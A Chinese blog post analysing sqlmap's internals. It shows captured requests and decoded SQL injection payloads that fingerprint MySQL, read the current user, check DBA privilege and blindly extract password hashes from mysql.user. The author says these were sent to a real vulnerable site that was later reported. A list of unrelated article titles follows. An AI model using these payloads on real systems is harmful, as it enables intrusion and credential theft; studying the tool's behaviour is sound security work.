本文作者:sher10ck(信安之路核心成员)

很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什么?

本文就用我们看的见的角度来分析,看看 sqlmap 到底发送了什么 payload,这些 payload 是怎么出来的,不深入代码层面。

技术有限,若有错误指出来,感激不尽。

测试环境

sqlmap(1.3.6.58#dev)

Burp Suite

http://attack.com?1.php?id=1

测试方式

利用 sqlmap 的 proxy 参数,我们将代理设置为 8080 端口用 burpsuite 进行抓包

sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"

(测试了很久好像本地搭建的环境无法抓包,所以就找了有注入点的网站,漏洞已上报给漏洞平台)

抓取到的包如下 :

sqlmap 的准备工作

我们也观察到,sqlmap 默认发送的 User-Agent 是这样的,

User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)

所以为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent 参数在后面。

首先我们的 sqlmap 会连续发送出很多数据包来检测目标网站是否稳定:

GET /xxxx.php?id=1 HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache[INFO] testing connection to the target URL[INFO] testing if the target URL content is stable[INFO] target URL content is stable

接下来会检测是否为 dynamic,和上面的请求包相比,sqlmap 修改了 id 后面的值

GET /xxxx.php?id=2324 HTTP/1.1Host: www.xxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache[INFO] testing if GET parameter 'id' is dynamic

看不懂这是什么骚操作,我们来看看源码里面怎么说 (sqlmap\lib\controller\checks.py)

def checkDynParam(place, parameter, value):    """    This function checks if the URL parameter is dynamic. If it is    dynamic, the content of the page differs, otherwise the    dynamicity might depend on another parameter.    """

根据输出语句的关键词查找,我追踪到了这个 checkDynParam 函数,大概的作用就是修改我们现在获取到的参数值,看修改前后的页面返回是否相同(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的),若有变化(或者说这个参数是真实有效的),sqlmap 才会走到下一步。

下一步的数据包和功能如下:

GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1Host: www.xxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

我们将上面的 url 编码解码:

/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22/xxxx.php?id=1'.),,.(.)"

这几个字符串就能判断是 Mysql 数据库?又是什么骚操作,再看看源码吧 (sqlmap\lib\controller\ckecks.py):

infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()

找到了一条语句,跟踪这个 getErrorParsedDBMSes() 函数

def getErrorParsedDBMSes():        """        Parses the knowledge base htmlFp list and return its values        formatted as a human readable string.        @return: list of possible back-end DBMS based upon error messages        parsing.        @rtype: C{str}        """

那么这个函数就是通过报错信息(就是上面的 payload) 来辨别数据库的类型,刚好我找的这个网站也是爆出了 Mysql 语句的错误,然后就通过正则 (sqlmap/data/xml/errors.xml) 识别出来啦,篇幅原因源码就不分析了。

sqlmap 的注入分析

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Yfor the remaining tests, do you want to include all tests for 'MySQL' extendingprovided level (1) and risk (1) values? [Y/n] Y

上面 sqlmap 已经得到了数据库的类型并且参数也是有效的,接下来往下走 sqlmap 就开始判断注入了(这里直接用-v3 参数显示 payload 更加的清晰)。

这一块也是大家最需要搞清楚的一部分,很多小伙伴看着感觉有注入,哎,上 sqlmap,然后基本上一片红,但是实际上,按照 sqlmap 对注入的分类,我们可以更加清晰的了解 sqlmap 到底做了什么,这些东西是从哪里出来。

首先要说一下,sqlmap 有一个 —technique 参数,在运行的整个过程中,也是按照这几类来检测的:

--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")B: Boolean-based blind SQL injection(布尔型注入)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(可联合查询注入)S: Stacked queries SQL injection(可多语句查询注入)T: Time-based blind SQL injection(基于时间延迟注入)Q: inline_query SQL injection(内联注入)

对这几种注入还不熟练于心的小伙伴们要好好补一下基础

那么这些主要的注入语句,我们可以在 sqlmap/data/xml/queries.xml 中查看了解,总结的还是挺全面的,这里截取一部分出来。

<dbms value="MySQL">        <cast query="CAST(%s AS CHAR)"/>        <length query="CHAR_LENGTH(%s)"/>        <isnull query="IFNULL(%s,' ')"/>        <delimiter query=","/>        <limit query="LIMIT %d,%d"/>        <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>        <limitgroupstart query="1"/>        <limitgroupstop query="2"/>        <limitstring query=" LIMIT "/>        <order query="ORDER BY %s ASC"/>        <count query="COUNT(%s)"/>        <comment query="-- -" query2="/*" query3="#"/>        <substring query="MID((%s),%d,%d)"/>        <concatenate query="CONCAT(%s,%s)"/>        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>        <hex query="HEX(%s)"/>        <inference query="ORD(MID((%s),%d,1))>%d"/>        <banner query="VERSION()"/>        <current_user query="CURRENT_USER()"/>        <current_db query="DATABASE()"/>        <hostname query="@@HOSTNAME"/>..................

对于每种类型的注入语句需要如何组合,在 sqlmap/data/xml/payloads 下有六个文件,里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些 payload 的位置等,了解一下就行了。

  <test>        <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)title>        <stype>6stype>        <level>1level>        <risk>1risk>        <clause>1,2,3,4,5clause>        <where>1where>        <vector>[UNION]vector>        <request>            <payload/>            <comment>[GENERIC_SQL_COMMENT]comment>            <char>[CHAR]char>            <columns>[COLSTART]-[COLSTOP]columns>        request>        <response>            <union/>        response>    test>

同目录下还有一个 boundaries.xml 文件,里面主要是定义了一些闭合的符号,比方说我们注入点需要闭合,添加单引号、双引号、括号等一系列的组合方式,就是从这个文件当中提取出来的。

 <boundary>        <level>3level>        <clause>1clause>        <where>1,2where>        <ptype>3ptype>        <prefix>'))prefix>        <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]suffix>    boundary>

所以梳理一下思路,我们最终会发送给目标服务器的 payload,首先是需要闭合的 (boundaries.xml),然后从对应的注入类型的各种测试模板中提取相应的参数(比如:boolean_blind.xml),然后在 queries.xml 中取出相应的表达式,最后通过 tamper 的渲染,输出我们最终的 payload,也就是我们的 -v3 参数。

sqlmap 的一些参数

我们主要分析以下两个命令:

--is-dba--passwords

命令主要是判断 mysql 用户的一些信息,当我们发现注入可以利用的时候,下一步就是要看当前用户的权限看能有什么的操作了。

判断是否是 dba 权限

sqlmap 一共发了两个请求包:

GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cacheGET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache

将 payload 解码:

/xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP/xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV

我们直接在 mysql 控制台下执行命令:

 

第一个命令返回了用户名, 0x71766a6271 解码为 qvjbq,那么这一步我们可以提取出用户名了。

第二个命令返回了 1 ,我们将查询命令提取出来

SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1

在 mysql 数据库下的 user 表中查询 super_priv (超级权限)的值:

返回了 Y,所以我们判断是否为 dba 的思路就是通过查看 mysql.user 下 super_priv 的值。

这个命令有一个坑,有的时候我们所注入的服务器上面并没有 mysql 这个数据库,所以用这个命令的前提是 mysql 这个数据库要存在。

查询密码

抓的包:

GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache

解码:

/xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48

这里有个很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是从 mysql.user 中获取 authentication_string 的值,但是很有趣的是,这个值只有在 mysql 版本 5.7 以上,password 才会变成 authentication_string,我们也可以从 queries.xml 中找到这条语句:

<passwords>            <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>            <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>passwords>

发现默认就是这个 authentication_string,所以我们这里直接修改 queries.xml 中的语句,将查询的列明改成 password 再测试一下。

后面测试发现,我们在没有修改的情况下,sqlmap 也会跑出密码,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:

看下源码,然后找到了( sqlmap/plugins/generic/users.py):

values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

这里用 replace 将两个列明进行了替换,里面有个 ifel 的语句,要是第一次没找到就会进行替换,这样我们的问题就解决掉啦,sqlmap 还是想的挺周全的哈哈。

总结

sqlmap 里面的内容实在是太多太多,想要摸索里面的内容需要花费大量的时间,当然收获也是成正比的,搞清楚sqlmap 的流程原理,对我们 sql 注入技术会有很大的提升。

推荐阅读

sqlmap 内核分析系列:

https://www.anquanke.com/subject/id/160641

欢迎小伙伴们和我讨论 sqlmap 有关的任何问题。

limit 后注入_聊一聊 SQLMAP 在进行 sql 注入时的整个流程相关推荐

  1. mysql 存储过程 sql注入_存储过程是否可以防止SQL注入?

    存储过程并不能神奇地阻止SQL注入,但是它们确实使防止注入变得容易得多.您所要做的只是类似以下内容(Postgres示例): CREATEORREPLACEFUNCTIONmy_func(INin_u ...

  2. 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试

    在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...

  3. sql参数化还是被注入了_面试官问你 SQL 注入攻击了吗?

    目录 为什么要聊 SQL 注入攻击? 什么是 SQL 注入攻击? 如何进行 SQL 注入攻击? 如何防范? 常见面试题 瞎比比 为什么要聊 SQL 注入攻击? 我这人有个想法,就是不管自己跳不跳槽,每 ...

  4. 使用SQLMAP自动化探测SQL注入

    使用SQLMAP自动化探测SQL注入 文章目录 使用SQLMAP自动化探测SQL注入 0x01 SQLMAP介绍 1.SQLMAP 简介 2.sqlmap支持的注入类型 3.检查kali 系统中的 S ...

  5. mysql注入漏洞语句,web安全之sql注入漏洞

    概念 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通俗地讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力 ...

  6. 怎么进行mysql注入测试_MySQL for Java的SQL注入测试

    只要你学JDBC,基本上所有的人都会和你说,Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 基本上参加工作了一段时间之后还是这么认为的, 没错, 这句是 ...

  7. php如何防sql注入,如何在PHP中防止SQL注入

    本篇文章将给大家介绍关于PHP中的SQL注入以及使用PHP-MySQLi和PHP-PDO驱动程序防止SQL注入的方法.下面我们来看具体的内容. 简单的SQL注入示例 例如,A有一个银行网站.已为银行客 ...

  8. SQL注入是什么,怎么防止SQL注入?

    SQL注入是什么,怎么防止SQL注入? 一.什么是SQL注入? SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录 ...

  9. SQLmap在进行SQL注入时的整个流程

    文章转自信安之路,作者:sher10ck 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什 ...

最新文章

  1. 查看Linux系统软硬件信息
  2. [react] 怎么防止HTML被转义?
  3. php 中curd表达啥,thinkphp的CURD和查询方式介绍
  4. httpurlconnection 封装_不要再封装各种Util工具类了,看看这个框架
  5. java操作阿里云的对象存储OSS
  6. Master Reactor Manager Worker TaskWorker(Task)
  7. 兼容FireFox和IE8的设为首页和添加收藏
  8. 鲲鹏开发者技术峰会·福州圆满落幕!
  9. Charles抓包微信小程序数据
  10. UR3机器人运动学分析之正运动学分析
  11. 微型计算机显示器能源效率,【Mr. Green】加州计算机显示器能源效率规定
  12. Arcgis实例学习5--统计直方图、空间分布图、统计信息
  13. 校外使用校园网访问外网
  14. STEAM上的一款电路模拟神器 — CRUMB Circuit Simulator
  15. image标签不显示照片img标签能显示
  16. 莫纳什大学FIT1043 assignment2课业解析
  17. pyshark.tshark.tshark.TSharkNotFoundException: TShark not found.
  18. 「Medical Image Analysis」 Note on 朱文涛博士学位论文
  19. Python语法之函数
  20. Mysql中TCL语言

热门文章

  1. 单片机c语言 软件抗干扰,单片机软件抗干扰的几种常见方法
  2. 示波器测量i2c信号实例
  3. 调查发现女人比男人更喜欢使用社交网站(组图)
  4. UI必备 PS圆角Corner Editor插件
  5. 工业交换机的工作原理
  6. Rancher 添加主机失败的解决方法
  7. 微软推出Designer图形图像设计软件,与Adobe Photoshop的较量?
  8. 【php学习笔记】文件系统---制作备忘录和修改配置文件
  9. 我想当计算机工程师英语翻译,工程师英语怎么说
  10. 蓝桥杯备赛笔记-规律题